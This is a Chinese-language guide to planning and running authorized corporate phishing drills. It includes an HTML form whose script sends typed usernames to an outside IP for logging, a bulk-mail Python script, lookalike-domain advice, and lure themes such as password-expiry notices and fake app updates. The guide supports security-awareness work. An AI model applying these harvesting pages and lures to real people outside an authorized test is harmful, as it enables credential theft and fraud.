企业钓鱼演练的一些总结和经验
字数 1227 2025-08-22 12:22:24
企业钓鱼演练全面指南
前言
钓鱼演练是企业安全防护的重要组成部分,对于红队攻防演练至关重要。本文档将详细介绍企业钓鱼演练的全流程,包括前期准备、实施过程和后期总结,帮助安全团队高效开展钓鱼演练工作。
钓鱼准备阶段
1. 确定钓鱼主题
钓鱼演练主要分为两类:
- 恶意附件钓鱼演练:统计恶意附件点击率
- 账号密码钓鱼演练:收集用户输入的凭证信息
恶意附件钓鱼要点:
- 附件设计为弹框提示,教育员工不要运行不信任文件
- 包含办公安全小贴士链接
- 建立公关答疑群
- 注意事项:
- 与邮件部门沟通获取多个账号,避免触发风控
- 与文件白名单团队协调,处理未知应用弹框问题
账号密码钓鱼要点:
- 设计交互式页面存储输入凭证
- 大型企业需考虑数据泄露风险
- 静态页面收集方案示例:
<!DOCTYPE html>
<form action="">
Username: <input type="text" name="user" id="useraccount"><br>
Password: <input type="password" name="password" id="userpass">
<div class="test">
<input type="button" value="确定" onclick="check();">
</div>
<script>
function check(){
var obj = document.getElementById("useraccount");
if(obj.value === ""){
alert("输入不能为空!");
return false;
} else {
window.location.href = 'http://1.2.2.2/index.html?user=' + document.getElementById("useraccount").value;
return true;
}
}
</script>
</form>
- 通过Apache日志记录用户名信息
- 制作登录页面技巧:保存现有页面后删除个人信息
2. 服务器与域名准备
-
域名选择:
- 尽量使用与公司高度相似的域名
- 大厂通常已购买相似域名防止滥用
- 报备流程耗时约1周,紧急情况可使用海外服务器
-
服务器选择:
- 征求领导意见确定云服务商(腾讯云/阿里云国际版等)
- 配置建议:
- 小型企业:1核2G
- 大型企业:2核4G
- 进行压力测试(推荐http_load工具)
- 服务部署:
- 使用Apache或Nginx
- 禁用不必要的服务(如Redis)
- 避免使用弱口令
3. 邮件服务器配置
- 常见方案:
- Gophish + EwoMail/Postfix组合
- 合规方案:
- 使用云服务商企业邮箱(阿里云/腾讯云等)
- 利用API接口批量发送
- 阿里云企业邮箱发送示例代码:
# -*- coding:utf-8 -*-
import urllib, urllib2
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
from email.header import Header
# 配置信息
username = 'xxx@xxx.com' # 发件人
password = 'XXXXXXXX' # 密码
rcptlist = ['to1@to.com', 'to2@to.com'] # 收件人列表
receivers = ','.join(rcptlist)
# 构建邮件
msg = MIMEMultipart('mixed')
msg['Subject'] = 'Test Email'
msg['From'] = username
msg['To'] = receivers
# 添加文本内容
alternative = MIMEMultipart('alternative')
textplain = MIMEText('纯文本部分', _subtype='plain', _charset='UTF-8')
alternative.attach(textplain)
texthtml = MIMEText('超文本部分', _subtype='html', _charset='UTF-8')
alternative.attach(texthtml)
msg.attach(alternative)
# 添加附件(示例)
xlsxpart = MIMEApplication(open('测试文件1.xlsx', 'rb').read())
xlsxpart.add_header('Content-Disposition', 'attachment', filename=Header("测试文件1.xlsx", "utf-8").encode())
msg.attach(xlsxpart)
# 发送邮件
try:
client = smtplib.SMTP()
client.connect('smtpdm.aliyun.com')
client.login(username, password)
client.sendmail(username, rcptlist, msg.as_string())
client.quit()
print '邮件发送成功!'
except smtplib.SMTPRecipientsRefused:
print '邮件发送失败,收件人被拒绝'
except smtplib.SMTPAuthenticationError:
print '邮件发送失败,认证错误'
except smtplib.SMTPSenderRefused:
print '邮件发送失败,发件人被拒绝'
except smtplib.SMTPException, e:
print '邮件发送失败,', e.message
- 注意事项:
- 每日发送量有限制,需合理安排
- 认证地址必须与发件人一致
钓鱼实施阶段
1. 数据监控与统计
- 监控邮件发送成功率
- 关键统计指标(以登录口钓鱼为例):
- 仅查看邮件的用户数
- 查看邮件并访问恶意网站的用户数
- 输入错误凭证的用户数
- 输入正确用户名的用户数
- 举报钓鱼邮件的用户数
2. 公关与答疑
- 建立专门的答疑群
- 解决员工疑虑(是否与绩效挂钩等)
- 收集员工反馈优化演练方案
3. 钓鱼文案设计
登录钓鱼文案建议:
- 账号异常类(认证过期、密码过期、账号异常等)
- 知识类("程序员需要知道的知识点"等)
附件钓鱼文案建议:
- 通信软件更新(飞书/企业微信/钉钉等)
- 系统更新或兼容性插件
发送策略:
- 同一部门不要在同一时间发送
- 使用多个发件账号时,文案应相似但不完全相同
演练总结阶段
1. 数据汇总与分析
- 统计发送总量
- 分析各阶段转化率
- 识别高风险部门和人员
2. 报告呈现
- 向领导展示关键数据
- 提出改进建议
- 规划长期安全意识培养方案
注意事项总结
- 合规性:确保演练获得正式批准,避免法律风险
- 数据安全:妥善处理收集的凭证信息
- 员工体验:平衡测试效果与员工感受
- 循序渐进:安全意识培养是长期过程
- 持续优化:根据每次演练结果调整策略
通过系统化的准备、实施和总结,企业可以有效地开展钓鱼演练,提升整体安全防护水平。